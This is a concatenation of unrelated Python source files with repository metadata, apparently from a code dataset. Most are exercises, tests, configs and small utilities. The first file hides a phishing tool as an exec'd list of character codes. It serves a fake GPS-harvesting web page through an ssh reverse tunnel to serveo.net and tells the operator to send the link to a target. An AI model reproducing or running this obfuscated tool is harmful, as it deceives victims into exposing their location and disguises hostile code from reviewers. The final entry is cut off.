32, 97, 99, 116, 105, 118, 101, 32, 46, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 91, 10, 9, 9, 9, 9, 9, 9, 9, 9, 34, 115, 115, 104, 34, 44, 34, 45, 82, 34, 44, 10, 9, 9, 9, 9, 9, 9, 9, 9, 34, 123, 125, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 58, 56, 48, 58, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 46, 102, 111, 114, 109, 97, 116, 40, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 41, 44, 10, 9, 9, 9, 9, 9, 9, 9, 9, 34, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 10, 9, 9, 9, 9, 9, 93, 44, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 41, 10, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 53, 41, 10, 9, 9, 9, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 9, 9, 9, 114, 61, 114, 101, 113, 117, 101, 115, 116, 115, 46, 103, 101, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 37, 115, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 37, 40, 115, 101, 108, 102, 46, 97, 41, 41, 10, 9, 9, 9, 9, 9, 9, 105, 102, 32, 114, 46, 115, 116, 97, 116, 117, 115, 95, 99, 111, 100, 101, 32, 61, 61, 32, 50, 48, 48, 58, 10, 9, 9, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 53, 41, 10, 9, 9, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 98, 101, 110, 103, 111, 110, 103, 40, 41, 10, 9, 9, 9, 9, 9, 9, 9, 98, 114, 101, 97, 107, 10, 9, 9, 9, 9, 9, 9, 9, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 34, 107, 105, 108, 108, 97, 108, 108, 32, 112, 104, 112, 59, 107, 105, 108, 108, 97, 108, 108, 32, 115, 115, 104, 34, 41, 10, 9, 9, 9, 101, 108, 115, 101, 58, 10, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 61, 114, 97, 119, 95, 105, 110, 112, 117, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 105, 116, 101, 32, 78, 97, 109, 101, 32, 32, 58, 32, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 80, 108, 101, 97, 115, 101, 32, 87, 97, 105, 116, 32, 67, 114, 101, 97, 116, 105, 110, 103, 32, 70, 97, 107, 101, 32, 87, 101, 98, 115, 105, 116, 101, 115, 32, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 119, 105, 116, 104, 32, 111, 112, 101, 110, 40, 34, 100, 97, 116, 97, 47, 108, 111, 103, 46, 116, 120, 116, 34, 44, 34, 119, 34, 41, 32, 97, 115, 32, 109, 101, 109, 101, 107, 58, 10, 9, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 10, 9, 9, 9, 9, 9, 9, 91, 34, 112, 104, 112, 34, 44, 34, 45, 83, 34, 44, 34, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 44, 34, 45, 116, 34, 44, 34, 114, 97, 119, 47, 115, 101, 114, 118, 101, 114, 47, 103, 112, 115, 47, 34, 93, 44, 10, 9, 9, 9, 9, 9, 9, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 10, 9, 9, 9, 9, 9, 41, 10, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 52, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 79, 112, 101, 110, 32, 78, 101, 119, 32, 84, 97, 98, 32, 65, 110, 100, 32, 82, 117, 110, 32, 37, 115, 97, 115, 117, 46, 112, 121, 37, 115, 32, 115, 101, 108, 101, 99, 116, 32, 83, 101, 114, 118, 101, 114, 32, 76, 105, 115, 116, 101, 110, 101, 114, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 43, 37, 115, 93, 32, 83, 101, 110, 100, 32, 84, 104, 105, 115, 32, 76, 105, 110, 107, 32, 79, 110, 32, 89, 111, 117, 114, 32, 84, 97, 114, 103, 101, 116, 32, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 112, 114, 101, 115, 115, 32, 39, 37, 115, 121, 101, 115, 37, 115, 39, 32, 113, 117, 105, 99, 107, 108, 121, 32, 105, 102, 32, 121, 111, 117, 32, 102, 105, 110, 100, 32, 97, 32, 113, 117, 101, 115, 116, 105, 111, 110, 34, 37, 40, 71, 44, 78, 44, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 112, 114, 105, 110, 116, 40, 34, 91, 37, 115, 33, 37, 115, 93, 32, 119, 97, 105, 116, 105, 110, 103, 32, 115, 101, 114, 118, 101, 114, 32, 97, 99, 116, 105, 118, 101, 32, 46, 46, 46, 34, 37, 40, 71, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 91, 10, 9, 9, 9, 9, 9, 9, 9, 9, 34, 115, 115, 104, 34, 44, 34, 45, 82, 34, 44, 10, 9, 9, 9, 9, 9, 9, 9, 9, 34, 123, 125, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 58, 56, 48, 58, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 56, 48, 56, 48, 34, 46, 102, 111, 114, 109, 97, 116, 40, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 97, 41, 44, 10, 9, 9, 9, 9, 9, 9, 9, 9, 34, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 10, 9, 9, 9, 9, 9, 93, 44, 115, 116, 100, 101, 114, 114, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 105, 110, 61, 109, 101, 109, 101, 107, 44, 115, 116, 100, 111, 117, 116, 61, 109, 101, 109, 101, 107, 41, 10, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 53, 41, 10, 9, 9, 9, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 9, 9, 9, 114, 61, 114, 101, 113, 117, 101, 115, 116, 115, 46, 103, 101, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 37, 115, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 34, 37, 40, 115, 101, 108, 102, 46, 97, 41, 41, 10, 9, 9, 9, 9, 9, 9, 105, 102, 32, 114, 46, 115, 116, 97, 116, 117, 115, 95, 99, 111, 100, 101, 32, 61, 61, 32, 50, 48, 48, 58, 10, 9, 9, 9, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 53, 41, 10, 9, 9, 9, 9, 9, 9, 9, 115, 101, 108, 102, 46, 98, 101, 110, 103, 111, 110, 103, 40, 41, 10, 9, 9, 9, 9, 9, 9, 9, 98, 114, 101, 97, 107, 10, 9, 9, 9, 9, 9, 9, 9, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 34, 107, 105, 108, 108, 97, 108, 108, 32, 112, 104, 112, 59, 107, 105, 108, 108, 97, 108, 108, 32, 115, 115, 104, 34, 41, 10, 9, 100, 101, 102, 32, 98, 101, 110, 103, 111, 110, 103, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 97, 61, 91, 34, 124, 34, 44, 34, 47, 34, 44, 34, 45, 34, 44, 34, 92, 92, 34, 93, 10, 9, 9, 9, 102, 111, 114, 32, 120, 32, 105, 110, 32, 97, 58, 10, 9, 9, 9, 9, 112, 114, 105, 110, 116, 32, 34, 92, 114, 91, 123, 125, 43, 123, 125, 93, 32, 82, 117, 110, 110, 105, 110, 103, 32, 87, 101, 98, 115, 101, 114, 118, 101, 114, 58, 32, 104, 116, 116, 112, 58, 47, 47, 123, 125, 46, 115, 101, 114, 118, 101, 111, 46, 110, 101, 116, 32, 46, 46, 32, 123, 125, 32, 32, 34, 46, 102, 111, 114, 109, 97, 116, 40, 71, 44, 78, 44, 115, 101, 108, 102, 46, 97, 44, 10, 9, 9, 9, 9, 120, 10, 9, 9, 9, 9, 41, 44, 59, 115, 121, 115, 46, 115, 116, 100, 111, 117, 116, 46, 102, 108, 117, 115, 104, 40, 41, 59, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 48, 46, 50, 48, 41, 10];exec "".join([chr(i) for i in d])
6d935daa518bfb71dc1ec9c4b2da0127e0dcea10
2d5d13c4bdc64202a520f32e7d4a44bb75e2004f
/week-02/d04/substr.py
ebcf9c90389536fc31a978afb81cdf52ff7d22e8
[]
no_license
green-fox-academy/andrasnyarai
43b32d5cc4ad3792ef8d621328f9593fc9623e0b
19759a146ba2f63f1c3e4e51160e6111ca0ee9c3
refs/heads/master
2021-09-07T16:19:34.636119
2018-02-26T00:38:00
2018-02-26T00:38:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
391
py
# Create a function that takes two strings as a parameter # Returns the starting index where the second one is starting in the first one # Returns -1 if the second string is not in the first one input = "this is what I'm searching in" input_word = "searching" def searching(sentence, word): s_index = sentence.find(word, 1) return s_index print(searching(input, input_word))
27e4ddb0ceff016becbe4500d30ff6f059b91134
9fb13659c6c73996581fb252ef33ef589392770b
/test_utilities/src/d1_test/mock_api/tests/test_create.py
ad6d8382c9c6dd166ce7ff5c8bbaf0ca676a6362
[ "Apache-2.0" ]
permissive
xlia/d1_python
ea9585c462cb1e4f2d50ff1c9ce17a33e7649265
c4745e70a00b14fc1d8c66c6995a2d150ef69956
refs/heads/master
2021-09-07T08:48:02.123106
2018-02-20T14:59:33
2018-02-20T14:59:33
113,352,728
0
0
null
2018-02-20T14:39:00
2017-12-06T18:28:20
Python
UTF-8
Python
false
false
2,064
py
# -*- coding: utf-8 -*- # This work was created by participants in the DataONE project, and is # jointly copyrighted by participating institutions in DataONE. For # more information on DataONE, see our web site at http://dataone.org. # # Copyright 2009-2016 DataONE # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import import base64 import json import StringIO import responses import d1_test.d1_test_case import d1_test.mock_api.create as mock_create import d1_test.mock_api.util class TestMockPost(d1_test.d1_test_case.D1TestCase): @responses.activate def test_1000(self, mn_client_v1_v2): """mock_api.create(): Echoes the request""" mock_create.add_callback(d1_test.d1_test_case.MOCK_BASE_URL) pid, sid, sciobj_str, sysmeta_pyxb = \ d1_test.instance_generator.sciobj.generate_reproducible(mn_client_v1_v2, 'post_pid') response = mn_client_v1_v2.createResponse( 'post_pid', StringIO.StringIO(sciobj_str), sysmeta_pyxb ) identifier_pyxb = mn_client_v1_v2.bindings.CreateFromDocument( response.content ) assert identifier_pyxb.value() == 'echo-post' echo_body_str = base64.b64decode(response.headers['Echo-Body-Base64']) echo_query_dict = json.loads( base64.b64decode(response.headers['Echo-Query-Base64']) ) echo_header_dict = json.loads( base64.b64decode(response.headers['Echo-Header-Base64']) ) assert isinstance(echo_body_str, basestring) assert isinstance(echo_query_dict, dict) assert isinstance(echo_header_dict, dict)
45a1455cad84d3b82f52be1726c8da09b1788c0b
1b8a99a4ff80da51dc81dd8354bf9bf1cbd25a8b
/2022/special_array_with_x_elements_greater_than_or_equal_x.py
1eed93272f0a62c0218b8b94b721fe028f723576
[]
no_license
eronekogin/leetcode
ea639eebe0cd70af9eb4cba59bc68f636d7b3e0c
edb870f83f0c4568cce0cacec04ee70cf6b545bf
refs/heads/master
2023-08-16T10:35:57.164176
2023-08-14T11:25:33
2023-08-14T11:25:33
163,679,450
0
0
null
2021-09-09T12:04:44
2018-12-31T15:33:06
Python
UTF-8
Python
false
false
624
py
""" https://leetcode.com/problems/special-array-with-x-elements-greater-than-or-equal-x/ """ class Solution: def specialArray(self, nums: list[int]) -> int: sortedNums = sorted(nums, reverse=True) N = len(nums) for i in range(N): x = i + 1 if sortedNums[i] >= x: # Now we have x numbers >= x. if i == len(nums) - 1 or sortedNums[i + 1] < x: # Make sure exactly x numbers are >= x: # 1. No more numbers left. # 2. The next number is less than x. return x return -1
55d553eca6268f2d5ec4ae4a218148c431371d37
68ac39d3f59988f3a5e581041a76d8d6c2f00d5d
/happy/HappyNodeTcpReset.py
0ff3935eb6ed51ce7a5d6958029ecaa0617f4a7c
[ "Apache-2.0" ]
permissive
emargolis/happy
62f274ff21e8be66922e239acaf7bbb6f53cea27
40d6e216d1a671c14b72e7e59f23b98cbda5d954
refs/heads/master
2021-01-16T15:16:25.950683
2020-02-26T20:04:06
2020-02-26T20:07:05
243,164,644
0
0
Apache-2.0
2020-02-26T04:02:20
2020-02-26T04:02:19
null
UTF-8
Python
false
false
4,586
py
#!/usr/bin/env python # # Copyright (c) 2016-2017 Nest Labs, Inc. # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ## # @file # Implements HappyNodeTcpReset class through which nodes reset tcp connection on specific interface # # import os import sys from happy.ReturnMsg import ReturnMsg from happy.Utils import * from happy.HappyNode import HappyNode import happy.HappyProcessStart options = {} options["quiet"] = False options["node_id"] = None options["action"] = None options["interface"] = None options["start"] = None options["duration"] = None options["ips"] = None options["dstPort"] = None def option(): return options.copy() class HappyNodeTcpReset(HappyNode): """ Provides tcpkill functionality to virtual nodes. Use this to test DoS attacks on a Happy network by blocking TCP connections to specific nodes, interfaces, and ports. happy-node-tcp-reset [-h --help] [-q --quiet] [-i --id <NODE_NAME>] [--interface <IFACE>] [-s --start <START_TIME>] [-d --duration <DURATION>] [--ips <SOURCE_IP,DEST_IP>] [--dstPort <DEST_PORT>] -i --id Required. Target node to block connections for. Find using happy-node-list or happy-state. --interface Target node interface to block connections for. -s --start Time to initiate TCP block, in seconds from NOW -d --duration Time to maintain TCP block, in seconds from <START_TIME> --ips Source and destination IPs to block connections for. --dstPort Destination port to block connections for. Example: $ happy-node-tcp-reset --id BorderRouter --interface wlan0 --start 2 --duration 20 --dstPort 11095 Kills the TCP connection for the BorderRouter node's wlan0 interface for 18 seconds. return: 0 success 1 fail """ def __init__(self, opts=options): HappyNode.__init__(self) self.quiet = opts["quiet"] self.node_id = opts["node_id"] self.action = opts["action"] self.interface = opts["interface"] self.begin = opts["start"] self.duration = opts["duration"] self.ips = opts["ips"] self.dstPort = opts["dstPort"] def __pre_check(self): # Check if the name of the node is given if not self.node_id: emsg = "Missing name of the virtual node that should join a network." self.logger.error("[localhost] HappyNodeJoin: %s" % (emsg)) self.exit() # Check if node exists if not self._nodeExists(): emsg = "virtual node %s does not exist." % (self.node_id) self.logger.error("[%s] HappyNodeJoin: %s" % (self.node_id, emsg)) self.exit() def start_process(self, node_id, cmd, tag, quiet=None, strace=True): emsg = "start_weave_process %s at %s node." % (tag, node_id) self.logger.debug("[%s] process: %s" % (node_id, emsg)) options = happy.HappyProcessStart.option() options["quiet"] = self.quiet options["node_id"] = node_id options["tag"] = tag options["command"] = cmd options["strace"] = True proc = happy.HappyProcessStart.HappyProcessStart(options) proc.run() def __TcpResetConnection(self): path = os.path.dirname(os.path.abspath(__file__)) cmd = "python " + path + "/HappyPacketProcess.py --interface %s --start %d --duration %d --action RESET " % \ (self.interface, self.begin, self.duration) if self.ips is not None: cmd += " --ips %s" % self.ips if self.dstPort is not None: cmd += " --dstPort %d" % self.dstPort if self.quiet is True: cmd += " --quiet" cmd = self.runAsRoot(cmd) self.start_process(node_id=self.node_id, cmd=cmd, tag="TcpReset") def run(self): self.__pre_check() self.__TcpResetConnection() return ReturnMsg(0)
f135199afee7f107d21a2bfe38d95e98e0ca3a85
81539aba88c22cf75bd2e14f5e0e92f2bf54e962
/DarkMatterMap2017/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV_madgraph_mcatnlo_pythia8/TTbarDMJets_Dilepton_pseudoscalar_LO_Mchi-1_Mphi-250_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV_madgraph_mcatnlo_pythia8_260000_2_cff.py
2cc85603244e7765849bf89b190cab40e038ff29
[]
no_license
nistefan/RandomizedParametersSeparator
ad35b48b95e9745814c0bf9d8d8b6eb8aa479177
66a0e291b59113c6b5301768f1c10e36cf23d3c3
refs/heads/master
2021-01-03T00:41:17.415005
2020-02-19T13:30:54
2020-02-19T13:30:54
239,838,928
0
0
null
null
null
null
UTF-8
Python
false
false
2,893
py
import FWCore.ParameterSet.Config as cms maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) ) readFiles = cms.untracked.vstring() source = cms.Source ("PoolSource",fileNames = readFiles, lumisToProcess = cms.untracked.VLuminosityBlockRange(*('1:34673', '1:12127', '1:12785', '1:18734', '1:18816', '1:18193', '1:18352', '1:20878', '1:12449', '1:15269', '1:18521', '1:18538', '1:20793', '1:20820', '1:20840', '1:31324', '1:2919', '1:164', '1:26131', '1:26211', '1:29806', '1:9094', '1:9610', '1:27433', '1:25956', '1:27969', '1:25475', '1:25629', '1:25657', '1:25468', '1:25946', '1:25158', '1:27629', '1:30854', '1:30763', '1:26034', '1:6561', '1:8139', '1:26354', '1:33508', )) ) readFiles.extend( ['/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/569B4D10-211C-EA11-A715-FA163E37F419.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/30550AAC-B81A-EA11-BAC1-0CC47A5FC2A1.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/2E4A544D-FB1C-EA11-976A-AC1F6BAC7C10.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/60FE314E-FF17-EA11-BF96-0025905C53A6.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/7461BAF6-B81A-EA11-B8C8-0242AC1C0502.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/281F6DB4-B81A-EA11-ABBF-FA163EB32F6D.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/68FB54A5-D319-EA11-9BF2-0CC47A2AED8A.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/D4CB8FB4-D419-EA11-8898-E0071B6C9DF0.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/44A61A10-EA1E-EA11-B484-AC1F6B1AF194.root', '/store/mc/RunIIFall17MiniAODv2/TTbarDMJets_Dilepton_pseudoscalar_LO_TuneCP5_13TeV-madgraph-mcatnlo-pythia8/MINIAODSIM/PU2017_12Apr2018_rp_94X_mc2017_realistic_v14-v1/260000/74DE8B80-0B18-EA11-9093-3CFDFE63F840.root']);
4f410a564f81eef398f188eb979ce9c032a2ffb0
a2c90d183ac66f39401cd8ece5207c492c811158
/Solving_Problem/daily_222/1205/4991.py
93e9003c98ad92771f5ba370d3f2e866995051df
[]
no_license
kwoneyng/TIL
0498cfc4dbebbb1f2c193cb7c9459aab7ebad02a
c6fbaa609b2e805f298b17b1f9504fd12cb63e8a
refs/heads/master
2020-06-17T11:53:38.685202
2020-03-18T01:29:36
2020-03-18T01:29:36
195,916,103
0
0
null
null
null
null
UTF-8
Python
false
false
1,848
py
from collections import deque from heapq import heappop, heappush near = [[-1,0], [0,1], [1,0], [0,-1]] def val_cha(st,ed): temp = [i[:] for i in bd] sx,sy = ht[st] ex,ey = ht[ed] serve = deque() serve.append([sx,sy]) cnt = 0 while serve: cnt += 1 for i in range(len(serve)): x,y = serve.popleft() if x == ex and y == ey: dt[st][ed] = cnt - 1 dt[ed][st] = cnt - 1 return 0 for a,b in near: xi,yi = a+x, b+y if 0 <= xi < h and 0 <= yi < w and temp[xi][yi] != 'x': temp[xi][yi] = 'x' serve.append([xi, yi]) return -1 def build_root(vis, start=0, cnt=0): global rs if sum(vis) == dirty - 1: rs = min(rs, cnt) return 0 for i in range(1,dirty): if not vis[i]: vis[i] = 1 build_root(vis,i,cnt+dt[start][i]) vis[i] = 0 while True: w,h = map(int,input().split()) if w == 0 and h == 0: break bd = [list(input()) for i in range(h)] dirty = 1 rs = 9999999999999999999999 ht = {} for x in range(h): for y in range(w): if bd[x][y] == 'o': ht[0] = [x,y] elif bd[x][y] == '*': ht[dirty] = [x,y] dirty += 1 dt = {} for i in range(dirty): dt[i] = {} stop_flag = 0 for i in range(dirty-1): if stop_flag == 0: for j in range(i+1,dirty): if val_cha(i,j) == -1: print(-1) stop_flag = 1 break else: break if stop_flag == 0: vis = [0]*dirty build_root(vis) print(rs)
7c65675d6822a7edaf6bb50bacade930252936a7
6e3b8a04a074c30cf4fc43abe7a208f772df795b
/Data Types and Variables - Exercise/Task1.py
c017814f490a499fbf7b164e9cedce6713f5cc9e
[]
no_license
majurski/Softuni_Fundamentals
dc0808fdaab942896eebfb208fb6b291df797752
bf53a9efdcb45eb911624ab86d762a6281391fb8
refs/heads/master
2022-11-29T06:06:06.287984
2020-08-10T19:36:18
2020-08-10T19:36:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
136
py
a = int(input()) b = int(input()) c = int(input()) d = int(input()) sum = a + b division = int(sum / c) ends = division * d print(ends)
e67f7e37e6cce0a557a8d702c6bab8d31037acd8
5b764b91be0016ee703fca41927b1438487e797b
/pygamerogue/tile.py
eda25d37c3805ae806fde03cb4b3db35b0634853
[ "BSD-3-Clause" ]
permissive
mikolasan/pyroguelike
b33b7a959144b9b115ae4876da0d620b33a28eb3
d51b01a566b5edb39792b59d683b4bf827399ba4
refs/heads/master
2021-07-23T23:06:28.822059
2021-01-11T16:57:58
2021-01-11T16:57:58
179,420,626
0
1
BSD-3-Clause
2021-07-07T15:32:36
2019-04-04T04:20:26
Python
UTF-8
Python
false
false
3,755
py
import pygame rogue_size = (48, 48) def map_to_pixel(x, y): return x * rogue_size[0], y * rogue_size[1] class Tile: def __init__(self, size, map_pos, pos, background_color, border_color, symbol, padding, text_color): self.size = size self.pos = {} if map_pos is not None: self.update_map_position(map_pos) else: self.set_rect_position(pos) self.background_color = background_color self.border_color = border_color self.symbol = symbol self.text_padding = padding self.text_color = text_color self.angle = 0 self.make_image() def set_rect_position(self, position): self.pos['x'] = position[0] self.pos['y'] = position[1] self.map_pos = (position[0] // rogue_size[0], position[1] // rogue_size[1]) self.update_rect_position() def update_map_position(self, map_pos): self.map_pos = map_pos self.pos['x'], self.pos['y'] = map_to_pixel(map_pos[0], map_pos[1]) def update_rect_position(self): if hasattr(self, 'rect'): self.rect.left, self.rect.top = self.pos['x'], self.pos['y'] def make_image(self): self.font = pygame.font.Font('font.ttf', 40) self.rendered_symbol = self.font.render(self.symbol, True, self.text_color) self.original_image = pygame.Surface(self.size) self.original_image.fill(self.background_color) self.original_image.blit(self.rendered_symbol, self.text_padding) self.image = self.original_image self.rect = self.image.get_rect() self.update_rect_position() def update(self, events): self.update_rect_position() def draw(self, screen, camera): screen.blit(self.image, camera.applyrect(self.rect)) wall = { 'background': (44, 61, 81), 'border': (0, 0, 0), 'text': (146, 154, 162), 'symbol': '-', 'padding': [0, 0], } TileDB = { '-': { **wall, 'symbol': '-', }, '|': { **wall, 'symbol': '|', }, '<': { **wall, 'symbol': '<', }, '.': { 'background': (113, 118, 138), 'border': (0, 0, 0), 'text': (226, 199, 192), 'symbol': '.', 'padding': [0, 0], }, '@': { 'background': (44, 44, 44), 'border': (50, 100, 0), 'text': (91, 198, 208), 'symbol': '@', 'padding': [0, 0], }, '!': { 'background': (208, 221, 240), 'border': (250, 0, 0), 'text': (110, 25, 32), 'symbol': '!', 'padding': [0, 0], }, '/': { 'background': (92, 102, 15), 'border': (250, 0, 0), 'text': (249, 199, 52), 'symbol': 'a', 'padding': [0, 0], }, '+': { 'background': (146, 154, 162), 'border': (250, 100, 0), 'text': (44, 61, 81), 'symbol': '+', 'padding': [0, 0], }, '$': { 'background': (224, 219, 225), 'border': (0, 200, 0), 'text': (96, 106, 53), 'symbol': '$', 'padding': [0, 0], }, 'e': { 'background': (254, 160, 47), 'border': (250, 0, 0), 'text': (222, 102, 0), 'symbol': 'e', 'padding': [0, 0], }, } class RogueTile(Tile): def __init__(self, map_pos, tile_id): preset = TileDB[tile_id] Tile.__init__( self, size=rogue_size, map_pos=map_pos, pos=None, background_color=preset['background'], border_color=preset['border'], symbol=preset['symbol'], padding=preset['padding'], text_color=preset['text'])
fe98cd8e2fe048a0813b442454d71bc1d015a7fc
acf7457d3a799cb9bff12686d2d616688bcd4b5b
/packages/python/plotly/plotly/validators/heatmap/legendgrouptitle/font/_color.py
992adc73b123157b72fc2cd128fd797dbab38c2d
[ "MIT" ]
permissive
plotly/plotly.py
f4f61639f08160f16195efc95b5901dc5a937346
975a704074f01c078e0fdfa32bdf17130bf89e69
refs/heads/master
2023-09-06T06:15:08.340035
2023-08-24T12:28:14
2023-08-24T12:28:14
14,579,099
14,751
2,989
MIT
2023-09-08T19:55:32
2013-11-21T05:53:08
Python
UTF-8
Python
false
false
427
py
import _plotly_utils.basevalidators class ColorValidator(_plotly_utils.basevalidators.ColorValidator): def __init__( self, plotly_name="color", parent_name="heatmap.legendgrouptitle.font", **kwargs ): super(ColorValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "style"), **kwargs, )
b104bc898e027c3443ab38096375afb2acb94686
9da8754002fa402ad8e6f25659978bd269bbcec8
/src/25B/cdf_25B.py
1a7bf3d9cd25f7a4eea1b9be350dfa6db25c93c0
[ "MIT" ]
permissive
kopok2/CodeforcesSolutionsPython
a00f706dbf368ba0846c8ae86d4145b5dd3e1613
35bec0dbcff47765b123b5fe60476014376153df
refs/heads/master
2023-02-02T03:08:22.097651
2020-12-17T22:00:50
2020-12-17T22:00:50
196,035,812
1
1
null
null
null
null
UTF-8
Python
false
false
785
py
class CodeforcesTask25BSolution: def __init__(self): self.result = '' self.n = 0 self.number = '' def read_input(self): self.n = int(input()) self.number = input() def process_task(self): result = [] if self.n % 2: result.append(self.number[:3]) self.number = self.number[3:] a = "" for c in self.number: if a: result.append(a + c) a = "" else: a = c self.result = "-".join(result) def get_result(self): return self.result if __name__ == "__main__": Solution = CodeforcesTask25BSolution() Solution.read_input() Solution.process_task() print(Solution.get_result())
8074f01904bff39c1ebfd7683a6d575784de2172
e0fc7493f4339145792f54bcd7124acea500ca45
/cpc/utils/ErrorHandler.py
a4971a3eda2ee541bbc19b681e53610fa2d843b3
